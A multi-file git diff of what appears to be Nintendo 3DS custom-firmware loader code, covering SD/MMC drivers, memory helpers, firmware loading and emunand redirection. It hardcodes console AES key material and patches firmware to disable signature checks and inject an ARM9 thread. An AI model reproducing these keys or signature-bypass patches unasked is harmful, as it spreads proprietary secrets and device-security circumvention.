u8 keyX1A[16] = {0xEA, 0xBA, 0x98, 0x4C, 0x9C, 0xB7, 0x66, 0xD4, 0xA3, 0xA7, 0xE9, 0x74, 0xE2, 0xE7, 0x13, 0xA3};
|
||||
u8 keyX1B[16] = {0x45, 0xAD, 0x04, 0x95, 0x39, 0x92, 0xC7, 0xC8, 0x93, 0x72, 0x4A, 0x9A, 0x7B, 0xCE, 0x61, 0x82};
|
||||
u8 keyX1C[16] = {0xC3, 0x83, 0x0F, 0x81, 0x56, 0xE3, 0x54, 0x3B, 0x72, 0x3F, 0x0B, 0xC0, 0x46, 0x74, 0x1E, 0x8F};
|
||||
u8 keyX1D[16] = {0xD6, 0xB3, 0x8B, 0xC7, 0x59, 0x41, 0x75, 0x96, 0xD6, 0x19, 0xD6, 0x02, 0x9D, 0x13, 0xE0, 0xD8};
|
||||
u8 keyX1E[16] = {0xBB, 0x62, 0x3A, 0x97, 0xDD, 0xD7, 0x93, 0xD7, 0x57, 0xC4, 0x10, 0x4B, 0x8D, 0x9F, 0xB9, 0x69};
|
||||
u8 keyX1F[16] = {0x4C, 0x28, 0xEC, 0x6E, 0xFF, 0xA3, 0xC2, 0x36, 0x46, 0x07, 0x8B, 0xBA, 0x35, 0x0C, 0x79, 0x95};
|
||||
aes_setkey(0x18, keyX18, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||
aes_setkey(0x19, keyX19, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||
aes_setkey(0x1A, keyX19, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||
aes_setkey(0x1B, keyX1B, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||
aes_setkey(0x1C, keyX1C, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||
aes_setkey(0x1D, keyX1D, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||
aes_setkey(0x1E, keyX1E, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||
aes_setkey(0x1F, keyX1F, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||
|
||||
/*
|
||||
//data at armHdr+0x8A804 (its not in FCRAM for whatever reason)
|
||||
u8 encryptedData1[0x10] = {
|
||||
0xA4, 0x8D, 0xE4, 0xF1, 0x0B, 0x36, 0x44, 0xAA, 0x90, 0x31, 0x28, 0xFF,
|
||||
0x4D, 0xCA, 0x76, 0xDF
|
||||
};
|
||||
//data at armHdr+0x8A814 (its not in FCRAM for whatever reason)
|
||||
u8 encryptedData2[0x10] = {
|
||||
0xDD, 0xDA, 0xA4, 0xC6, 0x2C, 0xC4, 0x50, 0xE9, 0xDA, 0xB6, 0x9B, 0x0D,
|
||||
0x9D, 0x2A, 0x21, 0x98
|
||||
};
|
||||
|
||||
//Set key 0x18 keyX
|
||||
u8 keyX18[0x10];
|
||||
aes(keyX18, encryptedData1, 1, NULL, AES_ECB_DECRYPT_MODE, 0);
|
||||
aes_setkey(0x18, keyX18, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||
|
||||
//Set key 0x11 normalkey
|
||||
aes_setkey(0x11, key2, AES_KEYNORMAL, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||
aes_use_keyslot(0x11);
|
||||
|
||||
//Set keys 0x19..0x1F keyXs
|
||||
u8 keyTemp[0x10];
|
||||
u8 keys[7][0x10];
|
||||
aes_use_keyslot(0x11);
|
||||
int i; for(i = 0; i < 7; i++) {
|
||||
aes(keyTemp, encryptedData2, 1, NULL, AES_ECB_DECRYPT_MODE, 0);
|
||||
encryptedData2[0x0F]++;
|
||||
memcpy(keys[i], keyTemp, 0x10);
|
||||
}
|
||||
aes_setkey(0x19, keys[0], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||
aes_setkey(0x1A, keys[1], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||
aes_setkey(0x1B, keys[2], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||
aes_setkey(0x1C, keys[3], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||
aes_setkey(0x1D, keys[4], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||
aes_setkey(0x1E, keys[5], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||
aes_setkey(0x1F, keys[6], AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);*/
|
||||
//Decrypt arm9bin
|
||||
aes((void *)(armHdr+0x800), (void *)(armHdr+0x800), size/AES_BLOCK_SIZE, CTR, AES_CTR_MODE, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||
|
||||
//Set keys 0x19..0x1F keyXs
|
||||
u8* decKey = (void *)((uintptr_t)armHdr+0x8A824);
|
||||
aes_use_keyslot(0x11);
|
||||
for(slot = 0x19; slot < 0x20; slot++) {
|
||||
aes_setkey(0x11, (u8*)key2, AES_KEYNORMAL, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||
aes(decKey, (void *)((uintptr_t)armHdr+0x8A814), 1, NULL, AES_ECB_DECRYPT_MODE, 0);
|
||||
aes_setkey(slot, (u8*)decKey, AES_KEYX, AES_INPUT_BE | AES_INPUT_NORMAL);
|
||||
*(u8 *)((void *)((uintptr_t)armHdr+0x8A814+0xF)) += 1;
|
||||
}
|
||||
}
|
@ -131,9 +131,6 @@ void rsa_use_keyslot(u32 keyslot);
|
||||
int rsa_verify(const void* data, u32 size, const void* sig, u32 mode);
|
||||
|
||||
//NAND/FIRM stuff
|
||||
void getNandCTR(u8 *buf);
|
||||
void nandFirm0(u8 *outbuf, const u32 size);
|
||||
void arm9loader(void *armHdr, u32 kversion);
|
||||
void setKeys(kversion);
|
||||
void arm9loader(void *armHdr);
|
||||
|
||||
#endif /*__CRYPTO_H*/
|
||||
|
@ -17,4 +17,5 @@ void clearScreen(void){
|
||||
void loadSplash(void){
|
||||
clearScreen();
|
||||
fileRead(fb->top_left, "/rei/splash.bin", 0x46500);
|
||||
unsigned i,t; for(t=120;t>0;t--){for(i=0xFFFF;i>0;i--);}; //Ghetto sleep func
|
||||
}
|
@ -16,11 +16,11 @@
|
||||
/*-----------------------------------------------------------------------*/
|
||||
|
||||
DSTATUS disk_status (
|
||||
__attribute__((unused))
|
||||
BYTE pdrv /* Physical drive nmuber to identify the drive */
|
||||
__attribute__((unused))
|
||||
BYTE pdrv /* Physical drive nmuber to identify the drive */
|
||||
)
|
||||
{
|
||||
return RES_OK;
|
||||
return RES_OK;
|
||||
}
|
||||
|
||||
|
||||
@ -31,10 +31,10 @@ DSTATUS disk_status (
|
||||
|
||||
DSTATUS disk_initialize (
|
||||
__attribute__((unused))
|
||||
BYTE pdrv /* Physical drive nmuber to identify the drive */
|
||||
BYTE pdrv /* Physical drive nmuber to identify the drive */
|
||||
)
|
||||
{
|
||||
sdmmc_sdcard_init();
|
||||
sdmmc_sdcard_init();
|
||||
return RES_OK;
|
||||
}
|
||||
|
||||
@ -46,15 +46,15 @@ DSTATUS disk_initialize (
|
||||
|
||||
DRESULT disk_read (
|
||||
__attribute__((unused))
|
||||
BYTE pdrv, /* Physical drive nmuber to identify the drive */
|
||||
BYTE pdrv, /* Physical drive nmuber to identify the drive */
|
||||
BYTE *buff, /* Data buffer to store read data */
|
||||
DWORD sector, /* Sector address in LBA */
|
||||
UINT count /* Number of sectors to read */
|
||||
)
|
||||
{
|
||||
if (sdmmc_sdcard_readsectors(sector, count, buff)) {
|
||||
return RES_PARERR;
|
||||
}
|
||||
if (sdmmc_sdcard_readsectors(sector, count, buff)) {
|
||||
return RES_PARERR;
|
||||
}
|
||||
|
||||
return RES_OK;
|
||||
}
|
||||
@ -67,33 +67,34 @@ DRESULT disk_read (
|
||||
|
||||
#if _USE_WRITE
|
||||
DRESULT disk_write (
|
||||
__attribute__((unused))
|
||||
__attribute__((unused))
|
||||
BYTE pdrv, /* Physical drive nmuber to identify the drive */
|
||||
const BYTE *buff, /* Data to be written */
|
||||
DWORD sector, /* Sector address in LBA */
|
||||
UINT count /* Number of sectors to write */
|
||||
)
|
||||
{
|
||||
if (sdmmc_sdcard_writesectors(sector, count, (BYTE *)buff)) {
|
||||
return RES_PARERR;
|
||||
}
|
||||
if (sdmmc_sdcard_writesectors(sector, count, (BYTE *)buff)) {
|
||||
return RES_PARERR;
|
||||
}
|
||||
|
||||
return RES_OK;
|
||||
}
|
||||
#endif
|
||||
|
||||
|
||||
|
||||
/*-----------------------------------------------------------------------*/
|
||||
/* Miscellaneous Functions */
|
||||
/*-----------------------------------------------------------------------*/
|
||||
|
||||
#if _USE_IOCTL
|
||||
DRESULT disk_ioctl (
|
||||
__attribute__((unused))
|
||||
__attribute__((unused))
|
||||
BYTE pdrv, /* Physical drive nmuber (0..) */
|
||||
__attribute__((unused))
|
||||
__attribute__((unused))
|
||||
BYTE cmd, /* Control code */
|
||||
__attribute__((unused))
|
||||
__attribute__((unused))
|
||||
void *buff /* Buffer to send/receive control data */
|
||||
)
|
||||
{
|
||||
|
@ -23,7 +23,7 @@
|
||||
/ and optional writing functions as well. */
|
||||
|
||||
|
||||
#define _FS_MINIMIZE 1
|
||||
#define _FS_MINIMIZE 0
|
||||
/* This option defines minimization level to remove some basic API functions.
|
||||
/
|
||||
/ 0: All basic functions are enabled.
|
||||
|
@ -1,17 +1,15 @@
|
||||
// Copyright 2014 Normmatt
|
||||
// Licensed under GPLv2 or any later version
|
||||
// Refer to the license.txt file included.
|
||||
|
||||
.arm
|
||||
.global ioDelay
|
||||
.type ioDelay STT_FUNC
|
||||
.global waitcycles
|
||||
.type waitcycles STT_FUNC
|
||||
|
||||
@ioDelay ( u32 us )
|
||||
ioDelay:
|
||||
ldr r1, =0x18000000 @ VRAM
|
||||
1:
|
||||
@ Loop doing uncached reads from VRAM to make loop timing more reliable
|
||||
ldr r2, [r1]
|
||||
subs r0, #1
|
||||
bgt 1b
|
||||
bx lr
|
||||
@waitcycles ( u32 us )
|
||||
waitcycles:
|
||||
PUSH {R0-R2,LR}
|
||||
STR R0, [SP,#4]
|
||||
waitcycles_loop:
|
||||
LDR R3, [SP,#4]
|
||||
SUBS R2, R3, #1
|
||||
STR R2, [SP,#4]
|
||||
CMP R3, #0
|
||||
BNE waitcycles_loop
|
||||
POP {R0-R2,PC}
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -1,52 +1,52 @@
|
||||
// Copyright 2014 Normmatt
|
||||
// Licensed under GPLv2 or any later version
|
||||
// Refer to the license.txt file included.
|
||||
#ifndef __SDMMC_H__
|
||||
#define __SDMMC_H__
|
||||
|
||||
#pragma once
|
||||
#define TRUE 1
|
||||
#define FALSE 0
|
||||
|
||||
#include "common.h"
|
||||
#include <stdint.h>
|
||||
|
||||
#define SDMMC_BASE 0x10006000u
|
||||
#define SDMMC_BASE 0x10006000
|
||||
|
||||
#define REG_SDCMD 0x00
|
||||
#define REG_SDPORTSEL 0x02
|
||||
#define REG_SDCMDARG 0x04
|
||||
#define REG_SDCMDARG0 0x04
|
||||
#define REG_SDCMDARG1 0x06
|
||||
#define REG_SDSTOP 0x08
|
||||
#define REG_SDBLKCOUNT 0x0a
|
||||
#define REG_SDCMD 0x00
|
||||
#define REG_SDPORTSEL 0x02
|
||||
#define REG_SDCMDARG 0x04
|
||||
#define REG_SDCMDARG0 0x04
|
||||
#define REG_SDCMDARG1 0x06
|
||||
#define REG_SDSTOP 0x08
|
||||
#define REG_SDBLKCOUNT 0x0a
|
||||
|
||||
#define REG_SDRESP0 0x0c
|
||||
#define REG_SDRESP1 0x0e
|
||||
#define REG_SDRESP2 0x10
|
||||
#define REG_SDRESP3 0x12
|
||||
#define REG_SDRESP4 0x14
|
||||
#define REG_SDRESP5 0x16
|
||||
#define REG_SDRESP6 0x18
|
||||
#define REG_SDRESP7 0x1a
|
||||
#define REG_SDRESP0 0x0c
|
||||
#define REG_SDRESP1 0x0e
|
||||
#define REG_SDRESP2 0x10
|
||||
#define REG_SDRESP3 0x12
|
||||
#define REG_SDRESP4 0x14
|
||||
#define REG_SDRESP5 0x16
|
||||
#define REG_SDRESP6 0x18
|
||||
#define REG_SDRESP7 0x1a
|
||||
|
||||
#define REG_SDSTATUS0 0x1c
|
||||
#define REG_SDSTATUS1 0x1e
|
||||
#define REG_SDSTATUS0 0x1c
|
||||
#define REG_SDSTATUS1 0x1e
|
||||
|
||||
#define REG_SDIRMASK0 0x20
|
||||
#define REG_SDIRMASK1 0x22
|
||||
#define REG_SDCLKCTL 0x24
|
||||
#define REG_SDIRMASK0 0x20
|
||||
#define REG_SDIRMASK1 0x22
|
||||
#define REG_SDCLKCTL 0x24
|
||||
|
||||
#define REG_SDBLKLEN 0x26
|
||||
#define REG_SDOPT 0x28
|
||||
#define REG_SDFIFO 0x30
|
||||
|
||||
#define REG_SDBLKLEN 0x26
|
||||
#define REG_SDOPT 0x28
|
||||
#define REG_SDFIFO 0x30
|
||||
#define REG_DATACTL 0xd8
|
||||
#define REG_SDRESET 0xe0
|
||||
#define REG_SDPROTECTED 0xf6 //bit 0 determines if sd is protected or not?
|
||||
|
||||
#define REG_SDDATACTL 0xd8
|
||||
#define REG_SDRESET 0xe0
|
||||
#define REG_SDPROTECTED 0xf6 //bit 0 determines if sd is protected or not?
|
||||
#define REG_DATACTL32 0x100
|
||||
#define REG_SDBLKLEN32 0x104
|
||||
#define REG_SDBLKCOUNT32 0x108
|
||||
#define REG_SDFIFO32 0x10C
|
||||
|
||||
#define REG_SDDATACTL32 0x100
|
||||
#define REG_SDBLKLEN32 0x104
|
||||
#define REG_SDBLKCOUNT32 0x108
|
||||
#define REG_SDFIFO32 0x10C
|
||||
|
||||
#define REG_CLK_AND_WAIT_CTL 0x138
|
||||
#define REG_RESET_SDIO 0x1e0
|
||||
#define REG_CLK_AND_WAIT_CTL 0x138
|
||||
#define REG_RESET_SDIO 0x1e0
|
||||
|
||||
#define TMIO_STAT0_CMDRESPEND 0x0001
|
||||
#define TMIO_STAT0_DATAEND 0x0004
|
||||
@ -97,75 +97,88 @@
|
||||
#define TMIO_MASK_ALL 0x837f031d
|
||||
|
||||
#define TMIO_MASK_GW (TMIO_STAT1_ILL_ACCESS | TMIO_STAT1_CMDTIMEOUT | TMIO_STAT1_TXUNDERRUN | TMIO_STAT1_RXOVERFLOW | \
|
||||
TMIO_STAT1_DATATIMEOUT | TMIO_STAT1_STOPBIT_ERR | TMIO_STAT1_CRCFAIL | TMIO_STAT1_CMD_IDX_ERR)
|
||||
TMIO_STAT1_DATATIMEOUT | TMIO_STAT1_STOPBIT_ERR | TMIO_STAT1_CRCFAIL | TMIO_STAT1_CMD_IDX_ERR)
|
||||
|
||||
#define TMIO_MASK_READOP (TMIO_STAT1_RXRDY | TMIO_STAT1_DATAEND)
|
||||
#define TMIO_MASK_WRITEOP (TMIO_STAT1_TXRQ | TMIO_STAT1_DATAEND)
|
||||
|
||||
typedef struct mmcdevice {
|
||||
u8* data;
|
||||
u32 size;
|
||||
u32 error;
|
||||
u16 stat0;
|
||||
u16 stat1;
|
||||
u32 ret[4];
|
||||
u32 initarg;
|
||||
u32 isSDHC;
|
||||
u32 clk;
|
||||
u32 SDOPT;
|
||||
u32 devicenumber;
|
||||
u32 total_size; //size in sectors of the device
|
||||
u32 res;
|
||||
} mmcdevice;
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/*int sdmmc_sdcard_init();
|
||||
void sdmmc_sdcard_readsector(uint32_t sector_no, void *out);
|
||||
void sdmmc_sdcard_readsectors(uint32_t sector_no, uint32_t numsectors, void *out);
|
||||
void sdmmc_sdcard_writesector(uint32_t sector_no, void *in);
|
||||
void sdmmc_sdcard_writesectors(uint32_t sector_no, uint32_t numsectors, void *in);
|
||||
void sdmmc_blktransferinit();*/
|
||||
typedef struct mmcdevice {
|
||||
uint8_t* data;
|
||||
uint32_t size;
|
||||
uint32_t error;
|
||||
uint16_t stat0;
|
||||
uint16_t stat1;
|
||||
uint32_t ret[4];
|
||||
uint32_t initarg;
|
||||
uint32_t isSDHC;
|
||||
uint32_t clk;
|
||||
uint32_t SDOPT;
|
||||
uint32_t devicenumber;
|
||||
uint32_t total_size; //size in sectors of the device
|
||||
uint32_t res;
|
||||
} mmcdevice;
|
||||
|
||||
void sdmmc_sdcard_init();
|
||||
int sdmmc_sdcard_readsector(uint32_t sector_no, uint8_t *out);
|
||||
int sdmmc_sdcard_readsectors(uint32_t sector_no, uint32_t numsectors, uint8_t *out);
|
||||
int sdmmc_sdcard_writesector(uint32_t sector_no, uint8_t *in);
|
||||
int sdmmc_sdcard_writesectors(uint32_t sector_no, uint32_t numsectors, uint8_t *in);
|
||||
|
||||
int sdmmc_nand_readsectors(uint32_t sector_no, uint32_t numsectors, uint8_t *out);
|
||||
int sdmmc_nand_writesectors(uint32_t sector_no, uint32_t numsectors, uint8_t *in);
|
||||
|
||||
mmcdevice *getMMCDevice(int drive);
|
||||
|
||||
void InitSD();
|
||||
int Nand_Init();
|
||||
int SD_Init();
|
||||
|
||||
void sdmmc_sdcard_init();
|
||||
int sdmmc_sdcard_readsector(u32 sector_no, u8 *out);
|
||||
int sdmmc_sdcard_readsectors(u32 sector_no, u32 numsectors, u8 *out);
|
||||
int sdmmc_sdcard_writesector(u32 sector_no, u8 *in);
|
||||
int sdmmc_sdcard_writesectors(u32 sector_no, u32 numsectors, u8 *in);
|
||||
#ifdef __cplusplus
|
||||
};
|
||||
#endif
|
||||
|
||||
int sdmmc_nand_readsectors(u32 sector_no, u32 numsectors, u8 *out);
|
||||
int sdmmc_nand_writesectors(u32 sector_no, u32 numsectors, u8 *in);
|
||||
|
||||
mmcdevice *getMMCDevice(int drive);
|
||||
|
||||
void InitSDMMC();
|
||||
int Nand_Init();
|
||||
int SD_Init();
|
||||
|
||||
static inline u16 sdmmc_read16(u16 reg) {
|
||||
return *(vu16*)(SDMMC_BASE + reg);
|
||||
//---------------------------------------------------------------------------------
|
||||
static inline uint16_t sdmmc_read16(uint16_t reg) {
|
||||
//---------------------------------------------------------------------------------
|
||||
return *(volatile uint16_t*)(SDMMC_BASE + reg);
|
||||
}
|
||||
|
||||
static inline void sdmmc_write16(u16 reg, u16 val) {
|
||||
*(vu16*)(SDMMC_BASE + reg) = val;
|
||||
//---------------------------------------------------------------------------------
|
||||
static inline void sdmmc_write16(uint16_t reg, uint16_t val) {
|
||||
//---------------------------------------------------------------------------------
|
||||
*(volatile uint16_t*)(SDMMC_BASE + reg) = val;
|
||||
}
|
||||
|
||||
static inline u32 sdmmc_read32(u16 reg) {
|
||||
return *(vu32*)(SDMMC_BASE + reg);
|
||||
//---------------------------------------------------------------------------------
|
||||
static inline uint32_t sdmmc_read32(uint16_t reg) {
|
||||
//---------------------------------------------------------------------------------
|
||||
return *(volatile uint32_t*)(SDMMC_BASE + reg);
|
||||
}
|
||||
|
||||
static inline void sdmmc_write32(u16 reg, u32 val) {
|
||||
*(vu32*)(SDMMC_BASE + reg) = val;
|
||||
//---------------------------------------------------------------------------------
|
||||
static inline void sdmmc_write32(uint16_t reg, uint32_t val) {
|
||||
//---------------------------------------------------------------------------------
|
||||
*(volatile uint32_t*)(SDMMC_BASE + reg) = val;
|
||||
}
|
||||
|
||||
static inline void sdmmc_mask16(u16 reg, const u16 clear, const u16 set) {
|
||||
u16 val = sdmmc_read16(reg);
|
||||
val &= ~clear;
|
||||
val |= set;
|
||||
sdmmc_write16(reg, val);
|
||||
//---------------------------------------------------------------------------------
|
||||
static inline void sdmmc_mask16(uint16_t reg, const uint16_t clear, const uint16_t set) {
|
||||
//---------------------------------------------------------------------------------
|
||||
uint16_t val = sdmmc_read16(reg);
|
||||
val &= ~clear;
|
||||
val |= set;
|
||||
sdmmc_write16(reg, val);
|
||||
}
|
||||
|
||||
static inline void setckl(u32 data)
|
||||
static inline void setckl(uint32_t data)
|
||||
{
|
||||
sdmmc_mask16(REG_SDCLKCTL, 0x100, 0);
|
||||
sdmmc_mask16(REG_SDCLKCTL, 0x2FF, data & 0x2FF);
|
||||
sdmmc_mask16(REG_SDCLKCTL, 0x0, 0x100);
|
||||
sdmmc_mask16(REG_SDCLKCTL,0x100,0);
|
||||
sdmmc_mask16(REG_SDCLKCTL,0x2FF,data&0x2FF);
|
||||
sdmmc_mask16(REG_SDCLKCTL,0x0,0x100);
|
||||
}
|
||||
|
||||
#endif
|
||||
|
@ -11,66 +11,52 @@
|
||||
#include "emunand.h"
|
||||
#include "crypto.h"
|
||||
|
||||
firmHeader *firmLocation = (firmHeader *)0x24000000;
|
||||
const u32 firmSize = 0xF1000;
|
||||
const firmHeader *firmLocation = (firmHeader *)0x24000000;
|
||||
const u32 firmSize = 0xF3000;
|
||||
firmSectionHeader *section;
|
||||
u32 emuOffset = 0;
|
||||
u32 emuHeader = 0;
|
||||
u32 kversion = 0;
|
||||
|
||||
//Load firm into FCRAM
|
||||
void loadFirm(int mode){
|
||||
//Sysnand mode
|
||||
if(mode == 0 || getEmunand(&emuOffset, &emuHeader) == 0){
|
||||
//Read FIRM from NAND and write to FCRAM
|
||||
nandFirm0((u8*)firmLocation, firmSize);
|
||||
section = firmLocation->section;
|
||||
kversion = 0x04; //TODO: make this not hard coded
|
||||
arm9loader((u8*)firmLocation + section[2].offset, kversion);
|
||||
}
|
||||
//Emunand mode
|
||||
else{
|
||||
//Read FIRM from SD card and write to FCRAM
|
||||
fileRead((u8*)firmLocation, "/rei/firmware.bin", firmSize);
|
||||
section = firmLocation->section;
|
||||
kversion = 0x18; //TODO: make this not hard coded
|
||||
arm9loader((u8*)firmLocation + section[2].offset, kversion);
|
||||
loadEmu();
|
||||
}
|
||||
void loadFirm(void){
|
||||
//Read FIRM from SD card and write to FCRAM
|
||||
fileRead((u8*)firmLocation, "/rei/firmware.bin", firmSize);
|
||||
section = firmLocation->section;
|
||||
arm9loader((u8*)firmLocation + section[2].offset);
|
||||
}
|
||||
|
||||
//Nand redirection
|
||||
void loadEmu(void){
|
||||
|
||||
//Read emunand code from SD
|
||||
u32 code = emuCode(kversion);
|
||||
fileRead((u8*)code, "/rei/emunand/emunand.bin", 0);
|
||||
u32 *pos_offset = memsearch((u8*)code, "NAND", 0x218, 4);
|
||||
u32 *pos_header = memsearch((u8*)code, "NCSD", 0x218, 4);
|
||||
memcpy((void *)pos_offset, (void *)emuOffset, 4);
|
||||
memcpy((void *)pos_header, (void *)emuHeader, 4);
|
||||
|
||||
u32 code = emuCode();
|
||||
fileRead(code, "/rei/emunand/emunand.bin", 0);
|
||||
u32 *pos_offset = memsearch(code, "NAND", 0x218, 4);
|
||||
u32 *pos_header = memsearch(code, "NCSD", 0x218, 4);
|
||||
if (pos_offset && pos_header) {
|
||||
*pos_offset = emuOffset;
|
||||
*pos_header = emuHeader;
|
||||
}
|
||||
fileWrite(code, "help.bin", 0x200);
|
||||
//Add emunand hooks
|
||||
memcpy((u8*)emuHook(1, kversion), nandRedir, sizeof(nandRedir));
|
||||
memcpy((u8*)emuHook(2, kversion), nandRedir, sizeof(nandRedir));
|
||||
memcpy((u8*)emuHook(1), nandRedir, sizeof(nandRedir));
|
||||
memcpy((u8*)emuHook(2), nandRedir, sizeof(nandRedir));
|
||||
}
|
||||
|
||||
//Patches
|
||||
void patchFirm(){
|
||||
|
||||
//Part1: Set MPU for payload area
|
||||
memcpy((u8*)mpuCode(kversion), mpu, sizeof(mpu));
|
||||
memcpy((u8*)mpuCode(), mpu, sizeof(mpu));
|
||||
|
||||
//Part2: Disable signature checks
|
||||
memcpy((u8*)sigPatch(1, kversion), sigPat1, sizeof(sigPat1));
|
||||
memcpy((u8*)sigPatch(2, kversion), sigPat2, sizeof(sigPat2));
|
||||
memcpy((u8*)sigPatch(1), sigPat1, sizeof(sigPat1));
|
||||
memcpy((u8*)sigPatch(2), sigPat2, sizeof(sigPat2));
|
||||
|
||||
//Part3: Create arm9 thread
|
||||
fileRead((u8*)threadCode(kversion), "/rei/thread/arm9.bin", 0);
|
||||
if(kversion == 0x18){ //TODO: 0x18 only untill i can figure out why the hell this doesnt work on sysnand anymore.
|
||||
memcpy((u8*)threadHook(1, kversion), th1, sizeof(th1));
|
||||
memcpy((u8*)threadHook(2, kversion), th2, sizeof(th2));
|
||||
}
|
||||
fileRead((u8*)threadCode(), "/rei/thread/arm9.bin", 0);
|
||||
memcpy((u8*)threadHook(1), th1, sizeof(th1));
|
||||
memcpy((u8*)threadHook(2), th2, sizeof(th2));
|
||||
}
|
||||
|
||||
//Firmlaunchhax
|
||||
@ -108,10 +94,7 @@ void launchFirm(void){
|
||||
memcpy(section[1].address, (u8*)firmLocation + section[1].offset, section[1].size);
|
||||
memcpy(section[2].address, (u8*)firmLocation + section[2].offset, section[2].size);
|
||||
*(u32 *)0x1FFFFFF8 = (u32)firmLocation->arm11Entry;
|
||||
|
||||
setKeys(kversion);
|
||||
|
||||
//Final jump to arm9 binary
|
||||
((void (*)())0x801B01C)();
|
||||
//((void (*)())firmLocation->arm9Entry)();
|
||||
}
|
@ -9,7 +9,7 @@
|
||||
#include "types.h"
|
||||
|
||||
void loadSplash(void);
|
||||
void loadFirm(int mode);
|
||||
void loadFirm(void);
|
||||
void loadEmu(void);
|
||||
void patchFirm(void);
|
||||
void launchFirm(void);
|
||||
|
@ -10,16 +10,11 @@
|
||||
#include "firm.h"
|
||||
#include "draw.h"
|
||||
|
||||
int mode = 1;
|
||||
|
||||
int main(){
|
||||
mountSD();
|
||||
loadSplash();
|
||||
while(1){
|
||||
if(((~*(unsigned *)0x10146000) & 0xFFF) == (1 << 3)) break;
|
||||
else if(((~*(unsigned *)0x10146000) & 0xFFF) == ((1 << 3) | (1 << 1))) {mode = 0; break;}
|
||||
} //Start = emu; Start+B = sys
|
||||
loadFirm(mode);
|
||||
loadFirm();
|
||||
loadEmu();
|
||||
patchFirm();
|
||||
launchFirm();
|
||||
return 0;
|
||||
|
@ -5,29 +5,38 @@
|
||||
*/
|
||||
#include "memory.h"
|
||||
|
||||
void memcpy(u8 *dest, u8 *src, u32 size){
|
||||
for (u32 i = 0; i < size; i++) dest[i] = src[i];
|
||||
}
|
||||
|
||||
void memcpy32(u32 *dest, u32 *src, u32 size){
|
||||
for (u32 i = 0; i < size; i++) dest[i] = src[i];
|
||||
}
|
||||
|
||||
void memset(u8 *dest, u32 fill, u32 size){
|
||||
for (u32 i = 0; i < size; i++) dest[i] = fill;
|
||||
void memcpy(void *dest, const void *src, u32 size){
|
||||
char *destc = (char *)dest;
|
||||
const char *srcc = (const char *)src;
|
||||
u32 i; for (i = 0; i < size; i++) {
|
||||
destc[i] = srcc[i];
|
||||
}
|
||||
}
|
||||
|
||||
int memcmp(u8 *buf1, u8 *buf2, u32 size){
|
||||
for (u32 i = 0; i < size; i++) {
|
||||
int cmp = buf1[i] - buf2[i];
|
||||
if (cmp != 0) return cmp;
|
||||
void memset(void *dest, int filler, u32 size){
|
||||
char *destc = (char *)dest;
|
||||
u32 i; for (i = 0; i < size; i++) {
|
||||
destc[i] = filler;
|
||||
}
|
||||
}
|
||||
|
||||
int memcmp(const void *buf1, const void *buf2, u32 size){
|
||||
const char *buf1c = (const char *)buf1;
|
||||
const char *buf2c = (const char *)buf2;
|
||||
u32 i; for (i = 0; i < size; i++) {
|
||||
int cmp = buf1c[i] - buf2c[i];
|
||||
if (cmp) return cmp;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
u32 *memsearch(u8 *start_pos, u8 *search, u32 size, u32 size_search){
|
||||
for (u8 *pos = start_pos; pos <= start_pos + size - size_search; pos++) {
|
||||
if (memcmp(pos, search, size_search) == 0) return (u32*)pos;
|
||||
void *memsearch(void *start_pos, void *search, u32 size, u32 size_search){
|
||||
for (void *pos = start_pos + size - size_search; pos >= start_pos; pos--) {
|
||||
if (memcmp(pos, search, size_search) == 0) return pos;
|
||||
}
|
||||
return NULL;
|
||||
}
|
@ -8,10 +8,10 @@
|
||||
|
||||
#include "types.h"
|
||||
|
||||
void memcpy(u8 *dest, u8 *src, u32 size);
|
||||
void memcpy(void *dest, const void *src, u32 size);
|
||||
void memcpy32(u32 *dest, u32 *src, u32 size);
|
||||
void memset(u8 *dest, u32 fill, u32 size);
|
||||
int memcmp(u8 *buf1, u8 *buf2, u32 size);
|
||||
u32 *memsearch(u8 *start_pos, u8 *search, u32 size, u32 size_search);
|
||||
void memset(void *dest, int filler, u32 size);
|
||||
int memcmp(const void *buf1, const void *buf2, u32 size);
|
||||
void *memsearch(void *start_pos, void *search, u32 size, u32 size_search);
|
||||
|
||||
#endif
|
128
source/patches.c
128
source/patches.c
@ -8,9 +8,8 @@
|
||||
|
||||
#define FIRM 0x24000000
|
||||
|
||||
#define KERNEL9 (FIRM + 0x66A00)
|
||||
#define PROC9 (FIRM + 0x7D700)
|
||||
#define v9_6_Offset 0x1600
|
||||
#define KERNEL9 (FIRM + 0x68000)
|
||||
#define PROC9 (FIRM + 0x7ED00)
|
||||
|
||||
#define K9_ADDR 0x08006000
|
||||
#define P9_ADDR 0x08028000
|
||||
@ -49,124 +48,37 @@ u8 th2[4] = {0xE0, 0xA6, 0x01, 0x08}; //0x0801A6E0
|
||||
**************************************************/
|
||||
|
||||
//Where the emunand code is stored in firm
|
||||
u32 emuCode(u32 kver){
|
||||
u32 ret = NULL;
|
||||
switch(kver){
|
||||
case 0x04:
|
||||
case 0x0C:
|
||||
case 0x0F:
|
||||
ret = KERNEL9 + (0x0801A4C0 - K9_ADDR);
|
||||
break;
|
||||
case 0x18:
|
||||
ret = KERNEL9 + v9_6_Offset + (0x0801A4C0 - K9_ADDR);
|
||||
break;
|
||||
}
